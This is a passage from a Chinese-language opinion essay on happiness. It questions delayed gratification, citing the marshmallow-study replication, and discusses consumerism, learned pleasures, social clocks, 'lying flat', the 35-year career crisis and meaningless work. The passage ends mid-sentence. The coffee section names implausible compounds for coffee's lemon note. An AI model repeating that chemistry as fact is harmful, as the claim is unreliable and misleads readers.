延迟满足≈不满足\n在建构了幸福人生图样（横轴、纵轴）和计算方法（积分计算）之后，下一步我们要讨论一下“幸福值”。\n也就是，如何理解我们在每个时间节点上，是否真的幸福。在这里，我们需要讨论另一个问题，就是究竟怎样的快乐，才算是快乐？\n在我们成长的过程中，我们被反复告知，快乐是有高低之分的。\n比如说，暴饮暴食、没有爱情的性爱、看短视频，被认为是低级的感官刺激。阅读、欣赏艺术、获得成就与他人建立长期关系等，被认为是高级的幸福。\n还有一些则夹在中间，比如看一场电影，看一场话剧，读一本小说等。\n但是我们必须认识到一件事情，所谓的高级和低级本身就是人为定义的。放在明清时期，西游记就是市井说书人的闲书，根本无法与诗词歌赋这样的高级娱乐相比较，和“经典名著”这样的定位显然是大相径庭。\n纵然我们不应该否认不同的媒介给人带来的感官刺激和内容深浅确实存在的天然差异，但是高级和低级是一个过于社会建构的划分方法，它会影响我们对快乐的获取及对幸福的判断。\n每个人由于天赋、性格、成长环境和学识的差异，对于快乐的获得机制是有很大差异的。\n有的人可以从奶头乐中获得快乐，持续地获得快乐，并且完全没有负罪感，那么这样的人如果再有一定程度的经济基础，就可以非常低成本地度过快乐一生，正所谓一时放纵一时爽，一直放纵一直爽。\n但是作为本文读者的你，显然很难达到这样三和大神的境界。\n我们需要意识到，绝大部分人能够接受的延迟满足带来的快乐其实没有自己想象的那么多，也没有自己想象的能够坚持的延迟那么久。\n在我的观察中，大部分难以获得快乐的人，往往不是无法欣赏高阶快乐，恰恰是无法从低阶娱乐中获得快乐。比如一个人，如果读了赫伯特·马尔库塞的《单向度的人》，又读了齐格蒙特·鲍曼的《工作、消费主义和新穷人》就很容易陷入一种我称之为“消费虚无主义”的精神困境之中。\n消费虚无主义者一边批判发达工业社会通过创造伪需求使现代人总是在为自己并不需要的东西买单，但另一方面却又因不能承认大部分其斥之为“消费主义过剩商品”的东西确实能为自己带来快乐，而产生心理失调，十分痛苦。\n他们认为一切消费都是无意义的，被操纵的，但又无法从消费以外获得快乐。因为在一个商品高度发达的当下，几乎任何快乐都或多或少地带有消费色彩。即便是那些在过去被认为代表着精神娱乐、高尚娱乐的项目，也是消费的一部分，比如冥想（瑜伽垫买不买？）、绘画（iPad 买不买？）、唱歌（麦克风买不买？）、写作（键盘买不买？）。\n就算你喜欢的是冬日午后和煦的阳光，也得买件保暖好的衣服才能日日享受。\n当一个正常的人类需求，被某家公司，某个新产品满足时，消费虚无主义者会跳出来说：“你看，你们又落入了资本的陷阱，你以前根本没有这样的需求，是因为他们发明了这样商品，你才觉得你需要这件商品。”\n这种思维方式是一种对消费主义的矫枉过正，会显而易见地阻碍人们获得快乐——你会在获得快乐的同时，因认知失调而产生负罪感。\n抛弃不同娱乐三六九等的道德分野，除了会让你更能快乐之外，不会有任何损失。\n这里不得不提到，许多人都不知道的延迟满足泡沫破灭。\n20 世纪 60 年代，美国斯坦福大学心理学教授沃尔特·米歇尔做了一个时至今日仍被不断复述的实验：让一些孩子在一个单调的小房间里，看着一块棉花糖。实验者告诉孩子，如果在他回来之前，棉花糖没有被吃掉，就可以额外获得一块棉花糖。\n一些孩子很快放弃，而另外一些孩子成功等到了第二块糖，根据跟踪调查发现，那些成功抵御住立刻吃掉一块糖欲望的孩子，在之后的成绩、就业、处理人际关系上，都比另外那些孩子都要优秀。\n但这个实验，在 2018 年的另一篇论文中几乎被推翻1。\n纽约大学的研究者泰勒·沃茨，加州大学的雷格·邓肯和全浩南，将原始的延迟满足实验样本扩大到了 10 倍（900 人），使孩子的人口学特征更加多样化（包含不同种族），并对孩子原本的家庭环境做出了变量控制。最终的结果发现，拥有延迟满足能力的群体比没有这一能力的群体只增加了 10% 的成功概率，这远低于推导出“延迟满足”能力的那份研究。\n其中的一种猜测是，延迟满足能力与成就之间并非因果性，而是相关性。那些家境好的孩子，在小时更容易抵制一颗糖的诱惑。而等到他们长大后，更容易成功也是因为他们家境好，而不是因为他们懂得延迟满足。\n如果你曾是一个信奉延迟满足的人，在读到这段之后可能会有一种强烈的幻灭感。但如果你真的能从延迟满足中获得满足的人，就会觉得这个新的消息对你的生活没什么影响。\n所以，实际上没有所谓的低质量快乐，与低质量幸福。人生的幸福，是一生中每个时刻幸福度的积分，而幸福度是一种只与“当下”有关的主观体验。\n这意味着，如果你当下是快乐的，并且这种快乐不伤害别人，也不会显著让你的未来变得不快乐，它就是一种良性及时行乐。而所有对良性及时行乐的道德批判都是对你幸福的戕害。\n在很多关于远离低质量娱乐，劝说人们应当自律，延迟满足类的进步教鸡汤里。都会试图描述这样一种场景：\n上班劳累了一周，本知道应当去学习一下、见见朋友、搞搞副业或做一些高质量的娱乐，但不知不觉中却躺在床上刷了两整天的抖音或打了几十盘王者。到了周日的晚上才恍然大悟，懊悔不已。\n接下来，进步教鸡汤往往会针对这个场景提出一些改进措施，帮助你放弃抖音和王者这种低质量娱乐，追寻一些“高质量娱乐”或“延迟满足”。\n但在 3.1 一节中我们已经知道了，幸福和快乐的最重要量度其实是时间，因此你也许一眼就可以看出延迟满足理论的缺陷——\n我在所谓的低质量娱乐中度过了一个愉快的周末，仅在周末结束的时候有一些懊悔。而在延迟满足模式下，度过的可能是一个忙碌但并不愉快的周末，而这种忙碌究竟在何时带给我何种快乐是完全无法预测的。\n“低质量娱乐”给我带来了 2 天的幸福，“对低质量娱乐的反思”带给了我 2 小时的抑郁。\n这意味着，我需要解决的恰恰不是“低质量娱乐”，而是“低质量娱乐有害”这种使我周日晚上感到愧疚的社会建构。\n一个人如果能一辈子沉迷于奶头乐的快乐之中，恰恰证明了他充分享受了现代化给他带来的幸福。\n而那些不能从奶头乐中获得快乐，或时常对奶头乐进行反思的人才是不够幸运的，他们必须为获得与他人实际上同等的快乐付出更多。\n但注意，仍有一些“及时行乐”是不能被接受的，比如酗酒（不是小酌）、滥交甚至是吸毒。\n我并不是回到了“道德约束”的角度，去谴责这些及时行乐。\n而是因为它显然不满足上文中我对良性及时行乐的范畴——因为它要么会伤害别人，要么会让你的寿命显著变短，最终导致人生的幸福积分面积减小。\n当我们回到面积模型，我们会发现，我们在每个时刻面临两种选择：过度纵欲与延迟满足。\n那种会导致未来幸福度明显下降的过度纵欲，就像是在“借贷”，将未来的幸福借到现在来使用。而延迟满足则像是在“投资理财”，将今天的幸福留到明天收获，以期待更多的利息。\n投资理财在表面看上去是良性的行为，但所有的理财产品下面都写着“理财有风险，投资需谨慎”。如果你是一个在理财时都追求保本的人，那你就更不应该将自己此刻的幸福感无限度地投入到追求明天的幸福之中。\n同样的道理其实不止在娱乐层面上，在职业选择上也是如此：\n有的人能够接受延迟满足，那么他们就可以做一些科研工作，坚持 10 年如一日地研究某一项自己感兴趣的领域，并且在获得成功之后享受巨大的荣誉。\n有的人很难接受苦心研究 10 年，希望自己的工作内容可以在半年内就投入市场，就会选择去互联网公司做产品研发，还有的人更着急，希望自己的产出的生命周期是以周为单位的，快速产出，快速得到成果或者负面反馈，这样的人最适合的工作其实是自媒体老师。\n但是很显然，不同的工作生命周期天然不同，我们自然没必要认为哪一个更高级，哪一个更低级，这是没有意义的，我们要找适合自己的工作。对于一个人来说，最重要的事情不是去做“正确”的事情，而是做适合的事情，也就是找到适合自己延迟满足感节奏的工作内容。\n况且市场也不会因为某一项工作更正确，就给予劳动者更高的报酬。如此看来就更没必要刻意追求所谓的“正确”。\n3.6 钱是制约我追求幸福的障碍吗？\n2004 年，一位名叫麦子的网友写过一篇稿子，叫《我奋斗了18年才和你坐在一起喝咖啡》。讲述了一个农家子弟奋斗了18年，才能与城市居民的孩子过上同样生活的故事。\n文章本身的基本逻辑放到今日仍然适用，对于不同家境的孩子以及拥有不同户口的孩子来说，以同一“最终目标”反推其所需的投入仍然是有巨大差异的——有的人一生都在去罗马的路上，而另一些人生在罗马。\n在写本文之前，我曾经把本文的部分内容，也即其中的一些观点与我的朋友交流。\n在这些碎片化的交流中，我往往会获得一个典型的反馈，就是：我没有你有钱，所以我不能像你这样活得洒脱。\n但正如前文所说，这一逻辑成立的前提是我们仍以“最终目标”为最终目标。如果以更通俗的话来说明，即这篇文章的内容虽无问题，但存在一个从标题就出现的错误基础假设——“喝咖啡是幸福的”。\n喝 30 元一杯的星巴克算是幸福吗？对很多人来说可能确实如此，甚至不仅如此，在真正的咖啡爱好者眼中星巴克的咖啡只是无功无过的普通连锁咖啡。即便是口粮咖啡，也有更好的 Seesaw 和 Grid 选择。而真正想要品味咖啡独特的魅力，需要自行购买那些动辄上百甚至上千一斤的稀有产地咖啡豆自己研磨冲泡，更别提上海那些独立品牌上千元一杯的限定。\n这么看来，享受咖啡确实与物质财富挂钩，没有一定的物质基础就不可能充分享受咖啡的魅力。\n但是等等，这回答了“喝咖啡是幸福的”这件事吗？似乎没有。\n因为咖啡爱好者也不是先天就爱喝咖啡的。相信绝大多数人在学生甚至更小的儿童时代无意中第一次喝到咖啡的反应都是：竟然有人为了喝这个东西付费？\n咖啡的幸福感有一定的生理基础，它的愉悦感主要来自人的神经系统对咖啡因的反应。它的次要愉悦感来自不同咖啡豆风味上的差异，这种差异来自不同生产地区的咖啡豆在不同制作工艺上带来的上千种化合物（烃类、醇类、醛类、酮类、羧酸类、酯类、吡嗪类、吡咯类、吡啶类、呋喃类、呋喃酮类、酚类）的随机组合所带来的 36 大类香气2。\n然而，在咖啡 36 味谱中的柠檬香味其实与柠檬真正的味道相差甚远，它是指与其他咖啡相比的一种活泼，明快的酸味，但本质仍然是咖啡的酸味而非柠檬的酸味。构成咖啡的这种柠檬香味也与构成柠檬酸的化合物完全不同，主要由3-三甲基色氨酸撑起，辅以环己胺，2-乙烯基-3，4-二氢基吡拉明等化合物。\n享受咖啡带来的乐趣和享受奶茶带来的乐趣是显然不同的，前者一般被认为更高级，更高级的原因是它不直接刺激你的多巴胺，并且具有一定的门槛。这种门槛是习得性的，它的习得过程不只是你要掌握描述各类咖啡风味的话语体系以及这套话语体系与化合物、产地和个体味觉之间的关系。即，如何将一种与柠檬八竿子打不着的香气，强行与柠檬挂钩。\n还有另一个门槛，即“使用36味谱”和“SCAA杯测标准来品评咖啡”这两件事本身是高级的，感到认同。\n如果你觉得其中的逻辑有点绕，那么我不妨去除表象（咖啡）来重新描述一遍：\nA代表一种快乐，这种快乐自婴孩和老人无论教育、年龄、背景都在初次尝试的时候就能体验到，无需任何外部的教导，这便是奶茶所代表的快乐，它由纯粹的多巴胺驱动。\nB代表另一种快乐，这种快乐需要专家的指导，社会的建构，人与人之间的比较，消费主义的包装，你才能够从中感受到快乐，这便是咖啡所代表的快乐，它在某种程度上是“社会关系的快乐”。\n一个小镇青年之所以向往坐在北京 CBD 的星巴克里拿着一个 Macbook 望着北京窗外的车水马龙，是因为他被星巴克的广告、影视文艺作品、短视频、社交媒体、城市中的亲戚所影响。而实际“坐在北京 CBD 的星巴克里拿着一个 Macbook 望向北京车水马龙”的城市青年，向往的是小镇青年晚上 6 点就下班根本不需要喝咖啡续命。\n此时，小镇青年所向往的快乐是 B 型快乐，城市青年所向往的快乐反倒是 A 型快乐。\n习得性快乐有利有弊，其中的一个重大问题是，我们大多数情况下习得的都是我们无法拥有或暂时无法拥有的快乐。\n习得性快乐能够帮助我们获得原本并不容易获得的快乐，但在现代社会下我们更多的是被动习得。我们因为生活和工作的压力，在毕业以后往往难以保持或挖掘新的兴趣爱好。相反，在社交场合与消费主义的驱动下，我们习得了许多暂时无法拥有的快乐。因而这种习得性快乐，变成了驱动我们为之不断付费的习得性不快乐。\n比如咖啡就是其中一例，同理的还有高档奢侈品服装、箱包，红酒，高尔夫球，美甲，看展览等。\n回到本节的问题上看，物质财富是影响人幸福的因素吗？\n显然是，因为如果你处于经济绝对拮据的状态下，有许多可以获得快乐和幸福的方法是你无法使用的。\n如果你真的处于相对贫困之中，那么也可以不用继续阅读本文了，还是节约些时间把自己从绝境之中拉出来更有意义。\n在温饱线之上，物质财富还是影响你理解本文，并使用本文的方法寻找幸福的因素吗？显然不是了，因为在本文的定义中，幸福是一种关乎内在的，针对世界的评判方法和行事方法。\n我们需要学会的是让城市青年在星巴克里加班的时候，感受到能喝得起星巴克的幸福，而不是抱怨自己在加班。让困在县城里的小镇青年，感受到能准点下班的幸福，而不是抱怨自己赚不到更多的钱。\n这里可能会有人质疑，这不是自我洗脑吗？其实在某种程度上是的，而且在本文的后面，我会给出非常具体的“自我洗脑”教程。因为，在当下的社会，如果你不自己给自己洗脑，不反复强化自身的价值锚定。你就会被消费主义或工作主义洗脑。\n因此，我们至少需要一种自我洗脑来抵御外部的洗脑来维持我们自身的平静。\n即，一种正向的，对我们有利的习得性快乐。\n4.1 不确定的时代=可能性的时代\n自 2020 年新冠疫情暴发以后，不确定性成为唯一的确定。\n即便是疫情与防控已在 2022 年年底成为历史中的一页，但所有人都能意识到，无论是从宏观叙事还是个体生涯来看，“回到过去”或者说回到 2020 年以前的模式，已经成为一种不可能的事情。\n在这种不确定性的影响之下，许多人原本的生活被打破了，并至今没有建立起新的模式。一种悬浮的状态弥漫在整个社会之中，以至于给许多人带来了迷茫与畏惧。但这种不确定的状态，其实恰好是打破线性化刻板人生的一个契机。\n在过去，我们人生的典型模板过于稳定，以至于绝大多数人都遵循这一典型模板来构建属于自己的幸福生活。\n对于出生于改革开放后的一、二线城市的中国青年来说，这个典型模板大体包括：\n拼命求学到至少本科；\n加入金融或科技互联网等高增长行业；\n在 GDP 前十的城市购买一套住宅（上海、北京、深圳、广州、重庆、苏州、成都、杭州、南京和武汉）；\n在 30~35 岁之间结婚并生子；\n每年 1~2 次的境外旅行或过上同等购买力的“中产生活”；\n然而，当你可以用一套标准来形容上亿人的幸福时，你就知道它大概率是假的。这是一种我们上文中描述的“终局思维”，而这种终局来自中国新中产阶级之间彼此自我认同带来的幻觉。\n为什么要购买这些品牌的车子？为什么要让孩子上这样的学校？为什么要这样配置保险，订购私立医院的会员卡？为什么要过这样的生活？\n绝大多数人并不真的从中产生活幻象中感到快乐，要么他们财力不够，只能幻想自己过上这样的生活会很幸福。要么他们已经足够成功，顺利踏入这个模板，却只是因为“身边的人都这么做”而“自己也这么做”，从未真正从这些昂贵的生活方式中获得乐趣。\n实际上，这种确定性的幸福模板在我们至今仍在怀念的确定时代里，曾被很多青年诟病为“社会时钟”或“社会规训”，它反而是由那些过不上这样生活的人构建出来的。\n因为真正满足这个模板的大厂青年，每天都在被 KPI、OKR、房贷和小孩的学费裹挟前行，一刻都不敢停留下来。甚至在某种程度上连出境旅游和去崇礼滑雪都成为了一种任务。\n而自疫情以来社会的变化，让这种虚假，但确定性的幸福模板彻底成为泡影。与之相对的，迎来的是可能性的时代。\n如果你曾经读过任何一本改开后的经济史，就会意识到重建实际上是一种机会。\n在舆论场上，一方面我们看到无数年轻人在怀念 90 年代“倒腾服装”就能赚钱的遍地黄金时代，但这些怀念 90 年代的年轻人可能并不清楚在 90 年代的许多地区，“倒腾服装”不仅可能破产，还有可能坐牢。另一方面，当人们抱怨当下没有机会的时候，我们看 2020 年开始，直播赛道的火热，线下零售进入万店连锁时代，跨境电商首次实现了品牌出海而非制品出海等造富机会在短短四年里的涌现……\n在某种程度上来说，这些都是在拥有确定性的时代无法想象的宏观机会。\n回到微观，确定性的幸福对应的是强大的社会规训。\n幸福模板在过去发挥的并非真正的保障作用，即便是你按照模板里的所有事情都做对了，仍然有可能因为考学失利、跳槽失败、行业局部危机、理财失败等等原因最终没有获得模板里的幸福。\n换句话说，在过去，人们像磨盘上的动物一样追求着前方的胡萝卜——总有一些人会得到胡萝卜，但重点在于让所有人都相信朝着一个方向走，会有胡萝卜。\n胡萝卜更像是一种终极想象，谁吃到胡萝卜并不重要，重要的是只要有一根胡萝卜，便可让无数的人对此趋之若鹜。\n但现在，那根胡萝卜彻底消失了，经历短暂的慌张之后，我们可能发现，远在磨盘之外，有更广阔的世界在等着。\n4.2 规训是最为无力的约束\n我们在反对各种形式的规训、建构或社会时钟时，总是会强调个体对群体的无力。\n但总是忽略一种群体性行为之所以要使用规训、建构或社会时钟等软约束来限制个人，恰恰是因为其自身无力到无法形成刚性规则，否则它的表现形式应当是暴力、法律、合同或至少规章。\n事实上，目前大多数的社会规训的无力正是因为它们与某些刚性规则有直接冲突，比如最典型的是 996 和《劳动法》。\n企业要实际执行一个 996 的职场制度，必须设计一整套基于企业文化和职场氛围的机制让员工自愿放弃休闲时间来加班，其中一个重要的方法是使员工之间形成恶性竞争也就是所谓的“内卷”。\n但之所以如此麻烦，而不是简单地将 996 明文写进公司章程或劳动合同中，是因为它敢这么写，就相当于通过劳动官司白给员工送钱。\n如果你在 996 的风波后关注过相关的劳动仲裁和起诉案例就会发现，几乎所有关于 996 的仲裁和起诉，劳动者一方都会受到法律的支持。\n《劳动法》也许曾经是 txt，但在当下它确实是 exe，而致使大多数员工认为自己无力反抗的，实际上是企业和劳动市场上的一系列社会建构。\n规训的作用界面是我们的精神，而不是我们的身体。它使人们自以为自己别无选择，无力反抗，以至于干脆闭上眼睛不去眺望隧道外的世界，不去尝试作出不同的选择，尽管实际上我们有的可选，能够做到。\n但也有一种反例：家庭规训。\n在前两年“原生家庭”“与原生家庭和解”是中文互联网上年轻人最热捧的一个内容方向。“原生家庭”这个工具在心理学领域非常复古，是精神分析流派的后继者，在某种程度上否定了自 1940 年以后的心理学发展，直接把人们带回了精神分析流派的石器时代也就是弗洛伊德时代。\n我们且不论原生家庭是否真的造成了我们的一切困扰，单说与原生家庭的切割到底难不难。\n大多数与原生家庭切割的故事里，讲述都在围绕各种应然的要素展开，但缺少一个实然的关键点：遗产继承所带来的经济要素。\n在现代社会，对于成年人来说，有一整套机制保护其个人人生的自由。从实然的角度上来说，我们事实上不需要与原生家庭“切割”，因为我们本就不被视为一个整体。\n而其中唯一真正需要切割的是经济支持与遗产，这一部分受到《宪法》《婚姻法》《老年人权益保障法》《未成年人保护法》等法律中相关法条的约定，形成了一套基本以“抚养-赡养-继承”为核心的经济契约机制。\n子女为报答父母养育之恩的“经济账”在法律上可以通过“赡养费”来完成其义务，除此之外的感情账如果算不清，便无需再算。毕竟如果原生家庭环境不佳，这意味着父母实际上未能履行《未成年人保护法》第十六条第二款所规定的心理和情感的保护，因此你也不必为没能满足《中华人民共和国老年人权益保障法》中第十四条所规定的为老人提供精神慰藉而自责。\n尽管两部法律都强调了家长对子女的情感支持，子女对父母的情感慰藉，但法务实践中几乎无法计算情感账。\n而实际上许多子女无法与原生家庭割舍的真正原因，是在法律的实然规定之外，还在期待这一套应然的经济契约。一般来说，是指父母、亲戚的人脉关系以及最重要的遗产继承。\n这在城市中产阶级中青年中尤甚，在过去的 40 年里由于改革开放带来的经济增长和社会巨变，如今 20~40 岁的青壮年与其父母之间存在较大的认知差异。但同时在经济上，可能又是一种逆转的情况——也就是父母的财力远大于子女。\n具体来说，极有可能是一个年轻人之所以能在日常的求学、工作和为人处世中保持着“新自由主义”的模式，恰恰是由于其父母通过坚守“保守主义”价值观所积累下的家族财富。\n由于财产继承并非实然而是应然，也即本质是一种情感的交换，因此当子女不顾情面与原生家庭切割时，可能会使自己处于财产继承的不利地位。\n此时，一个应然的经济契约就出现了，一部分经济能力足以独立的青壮年之所以仍然深陷原生家庭。实际上由于他们想不付出任何情感支出（接受规训），还觊觎父母的财产。\n这种情况下，你不应当批判规训，而应将自己付出的情感成本和所获得的财产收益当作纯粹的经济契约，这样至少能够让你在精神上好受一些。\n如果你能仔细剖析所有作用在你身上的规训，究竟是真正的仅作用在精神层面的规训，还是实际存在一种经济上的契约，你就能分辨出自己究竟该如何剪断缠绕在自己身上的枷锁。\n我们将在附录里详细地讨论如何在职场中反 PUA，在原理上也可以应对亲情及其他领域。其中的一个重点就是——架空奖励机制——如果你有勇气拒绝你在公司话语体系下应得的奖金，那么慌张的就是你的领导和 HR，不是你。\n如果更进一步，如果你愿意提前把所有规章制度上你觉得不合理的罚款都赊了，那么你会发现你可以在公司横着走。\n4.3 脱离社会时钟，是躺平或摆烂吗？\n长期以来，躺平、摆烂和丧文化常常与脱离社会时钟的现象被混为一谈。因为在一些显著的行为特征上，他们确实有相似性。\n比如我们很容易认为一个没有在上班的，或者是一个辞去高薪的，离开 996 职场的人形容为“躺平”或“摆烂”。\n但是其实仔细一想，这是一个很诡谲的事，一个人，不过是离开了 996 的职场，仍然在纳税，仍然在劳动，在赡养父母养育小孩，我们却称之为躺平，这件事情难道本身不值得我们反思吗？在任何一个国家，这样的人都是中坚力量，在国内语境下，我们却称之为躺平。\n社会宏观层面之所以称这种行为是躺平，更多是因为这些人试图消灭这个社会给他们的 Deadline，这会让更多人意识到很多人生任务原本是没有 Deadline 的。\n例如，设定35岁前必须成为管理层，或为孩子准备北京海淀或西城区的优质学区房——这些目标本身是美好的，旨在改善我们的生活。然而，一旦设置了截止期限，这些美好的目标便开始显得压力山大，成为我们所谓的“社会时钟”带来的负担。在中国的社会语境中，“躺平”更多地意味着摆脱这种社会时钟的束缚，而不仅仅是字面上的躺下不动。\n但实际上，脱离社会时钟只是我们探索新型生活方式和寻找天职的第一步。我们最终的目标是从不愉悦的工作中解放出来，寻找到适合自己的职业与生活方式。这甚至不是对 996 职场的指责，因为在生活中我们确实能看到很多人，无论贫富都在享受 996 甚至是超过 996 强度的工作生活。\n不过值得一说的是，孩子的成长往往具有时效性，比如 7 岁之前必须开始读小学，所以现在很多人确实会选择不要小孩，来逃离社会时钟带来的规训。\n然而，这种规训也并非完全不可逃脱。比如我曾在即刻讲过，作为一个生于 90 年代的北京人，我其实完全不能理解当下北京教育的内卷。因为，在许多老北京家长看来，为孩子的学区购买房子、举家搬迁、告别曾经的邻居，是完全不可理解的——孩子的成长自有天命，我（家长）的生活不能被孩子完全左右。\n让许多外地朋友不可理解的可能是，直到我上初高中的 2003-2008 年，北京二环内的学校还偶有“学生打老师”的现象出现（不是反过来）。究其原因，是许多老北京家长都不相信“教育改变命运”，能上大学最好，上不了大学也是孩子自己不行，和“我”（家长）没啥关系。\n而这些家庭也并非像许多外地朋友想象的那样家财万贯，要知道，在上世纪 90 年代到本世纪第一个十年里，二环里的大部分北京人都住在老破小和平房大杂院里（没产权，拆迁也分不到什么钱）。\n然而，这些老北京家长的态度依然是：上不了大学就上不了，大不了职高毕业就去当售货员和服务员，这也是北京服务业服务态度差的原因之一。\n换句话说，许多新北京人在近些年觉得被“卷到崩溃”的那个子女教育的“轨道”，在大部分老北京人眼里从来就不曾存在。\n在很多时候，我们给自己设定了错误的目标和目标对应的时间节点，而且更让人痛苦的事情在于在这样时钟的规训之下，大部分人只会在完成目标的一瞬间感到开心，剩下的时间又会陷入无尽的痛苦，因为后面还有无穷无尽的节点在等着我们。\n也就是说，我们需要澄清的是，尽管我们大多数人都对工作感到痛苦和厌倦，但这很有可能不是工作的问题，当然也不是我们的问题。只是在错误的机制下，我们错误地选择了不适合我们自己的职业与生活方式。\n甚至可以进一步说，当我们在忍受某份工作的痛苦时，实际上占据了另一个人的位置。因为也许你的工作对另一个人来说，是求之不得，甚至愿意为其奋斗终生的天职。关于天职的论述，我们将在第六章展开。\n真正的“什么也不做”，每日“躺着”的退休生活对于中青年人来说实际上是极其无聊的，正如鲍曼在其 1998 年出版的书《工作、消费主义与新穷人》中谈到的：当温饱不再成为问题，失业的最大痛苦不再是饥寒而是无聊。\n因为毕竟当前人类社会仍不支持大部分人口不上班，那样会让所有人一起饿死。所以当彻底的躺平只是少部分人的选择的时候，那么他将会逐渐失去自己与整个社会的连接。用更通俗的话说：当你彻底不工作后，甚至连一起打游戏、出去玩的朋友都找不到。\n因而纯粹的退休式躺平，只是过于疲劳的中青年在痛苦中臆想出的“幸福终局”之一，与我们上文描述的财富自由图景有一样的欺骗性，却不具备实践价值。对于实在由于现有的工作压力而身心崩溃的人来说，3~6个月的退休式躺平适合作为人生中的一场休憩，但目标是为了更好地“出发”去踏上接下来的旅途。\n而无出意外的话，找到“天职”（适合自己的工作）仍是大部分人人生旅途中的主要选择。因为仅仅从结交新的朋友，建立社交关系以及不与社会脱节的角度，工作也是一种成本最低的方式。\n社会价值和自我价值的真正统一，如何能被称为躺平，或摆烂呢？\n4.4 35岁：危机还是起点？\n近年来，随着经济危机的下行，35 岁危机或早发性的中年危机愈发成为社会上议论的焦点。\n早在 2021 年，我曾经录过一期播客《中年危机是个伪命题吗？》，在那个烂尾楼还没有频发的年份，我举了一个互联网人中年危机的典型场景，即为什么互联网人会对 35 岁失业有巨大的恐慌。\n其一，是互联网行业是过去 20 年里全球所有国家所有行业里最指数成长的行业之一，能够进入这个行业的人无论赚到了多少钱，本身就是极为“幸运”的。\n其二，是许多在这个行业里的人，将这种幸运误以为是能力。并且将这种运势的继续保持作为担保，进行了高额的杠杆性人生决策。\n更具体来说，就是错误地认为，自己的薪资足以负担起一个更大的房子，一个比中产更奢侈一些的生活方式和子女的教育方式。\n然而，买房，贷款买房和高额贷款买房是三件完全不同的事情。\n比如，一些在深圳年入百万的互联网员工，在 30 岁左右贷款千万在深圳买下一套不错的住宅，我们可以预计他们到 35 岁的时候必然会迎来空前的中年危机。\n如果你不是这样的人，没有陷入这样的视野，你可能会更容易发现问题所在：\n公司能为你支付年薪百万多久？市场上年薪百万的岗位有多少？整个行业存在多少能支付年薪百万的公司？在你没有获得年薪百万时，你视野里那个年薪百万的人现在是变成了年薪千万还是降薪了？你所在的岗位在 10 年前薪资大约是多少？10 年前那些年薪百万的岗位现在薪资大约多少？\n当你把这些问题一一罗列的时候，会发现一个年薪百万（哪怕是到手百万）的人，也根本不应该购买价值千万的房产。因为作为个体人类，其年收入一旦超过某个数字，这个收入的稳定性就与其个人能力完全无关。\n注意，我提到的是稳定性与个人能力完全无关，而不是可获得性与个人能力完全无关。\n这里的区别在于，个人能力强的人在哪里，在何时都会闪光，一个天才工程师、一个天才运营、一个天才分析师，即便是在最坏的环境下也能取得远超于别人的工作机会，甚至有可能获得更高的一次性收入。但当宏观经济，或者不提宏观，仅从中观的行业角度，整体发展速度变慢，超额利润减少的时候，就不可能再为一个这样的个人支付稳定的超高薪水或利润分红了。\n在这种情况下，企业可能更倾向以外部顾问的形式获得智力资源。聘请外部专家，以其交付的成果来支付一次性报酬，这对企业来说能节省更多开支。例如，过去企业需要年薪120万雇佣的专家，如今企业通过每年两次的短期咨询的方式合作，支付20万元咨询费。\n对个人来说，其收入不一定会下降，因为作为顾问，他可以同时向多个企业提供服务，但稳定性将显著下降——然而，房贷或其他周期性大额支出，却是“稳定存在”的。\n更何况，进入 2023 年，这种不稳定性不仅仅来自疫后的经济周期。我们还见证了局部战争的多点爆发、通用人工智能的突飞猛进、国家之间的相互制裁。\n每一种因素对个体命运的影响都可能无限大，因此与其在这个动荡的时代把杠杆拉满试图做一个定点，不如像我们前文提到的那样，成为不确定性时代中探索新生活方式与工作方式的一员。\n回到当下，这样的判断也同样适用于那些工资万元，但想要买百万房产的普通打工人。\n在一个唯一确定是不确定的时代，绝对不要把自己的未来预支到当前的生活。这并不意味着你没有好未来，而是因为你不知道在还款期限来临之前你的好未来是否会来临。\n在开始讲，如何快乐地工作，或如何衡量一份工作是否快乐之前。我们需要先做一点铺垫，来解释一下我们当下的工作是如何让我们痛苦的。\n关于这个话题，我不打算引述任何案例，因为已经有人出了一本书。人类学家大卫·格雷伯于2018年出版的《狗屁工作》（中译本《毫无意义的工作》）里，包含了大量采访的案例，说明什么样的工作会让我们痛苦。但这本书对狗屁工作以及狗屁工作对我们生活侵害的理论抽象不足，读完之后很有可能会陷入一种情绪之中——“嘿，他说得太对了！”\n然而，情绪之后却无法进行下一步行动——我要因此离职吗？我的下一份工作还是狗屁工作怎么办？我如果现在无法逃走，我如何才能摆脱工作的地狱？\n原本，这些话题应当由大卫·格雷伯自己来回答。但遗憾的是，这位勇敢向现代职场发出呐喊的勇士，已于 2020 年 9 月 2 日因急性胰腺炎与世长辞。也就是说，实际上中文读者在 2022 年 9 月读到《毫无意义的工作》时，它的作者已经离开我们两年了。\n既然如此，那我就斗胆在接下来的两章，延续大卫·格雷伯的“工作”，来讨论一下如何让你的工作不那么狗屁。\n但是，我们仍然要从什么样的工作给我们带来痛苦开始说起。\n5.1 为钱工作 所有为了钱的工作，都是痛苦的，这看似是一句正确的废话。\n在《互联网与中国后现代性呓语》中，我描述过一个现代化的困境，即无关分配制度，许多现代化工作本身就会使劳动异化：\n简单来说，如果你能像瑞士的表匠一样完全自主地制作一块手表，除了出售这块表本身所带来的金钱回报之外，你还享有创造这块表本身的一种快乐。这种快乐几乎是刻在智人种族基因中的某种情绪反应，因为本文不讨论生物学因此你们可以自行寻找相关的论文。\n但如果你只是某个品牌手表流水线上的一个工人，你的工作只是将手表中某个零件在进入下一个工序前把齿轮摆正，你将不会获得除收入之外的任何快乐。\n在这种情况下，你工作的唯一目标，是不工作。\n在许多饱受工作折磨的年轻人看来，自己工作的唯一目标就是赚足够多的钱，能够更早地实现彻底地不工作——躺平。这，就是工作的第一个谬误。\n然而，随着延迟退休政策在宏观层面上被提上日程，这种可能性越来越低。而对许多背上房贷，生儿育女，有着家庭压力，“躺平梦”破碎的中年人来说，则陷入了另一种交换之中——赚更多的钱，购买更幸福的生活。\n这两种思维方式本质上其实是一种，都是将出卖劳动力与时间的工作，视为获取幸福生活的一种代价而非幸福生活本身。在这里，我们不讨论工作是否能带来幸福。仅就“以工作为代价来换取幸福生活”的思考方式，也是一个不切实际的想法。\n首先，在宏观层面上，我们已知以人类社会目前的生产力，不足以让所有人都进入“舒适躺平”的状态。这意味着，如果有一种通行的、可被批量复制的，让个体可以不再工作的方法出现，各国政府都将进入对这种模式的封杀之中，这是人类集体文明延续的需求，这几乎不需要证明。\n这表明，提前退休始终是极其能干或极度幸运的少数人才能抵达的状态。\n如果大部分人突然发现自己拥有提前退休的资金积累能力，那么大概率意味着在接下来的几年里，要么货币会大幅贬值发生剧烈通胀，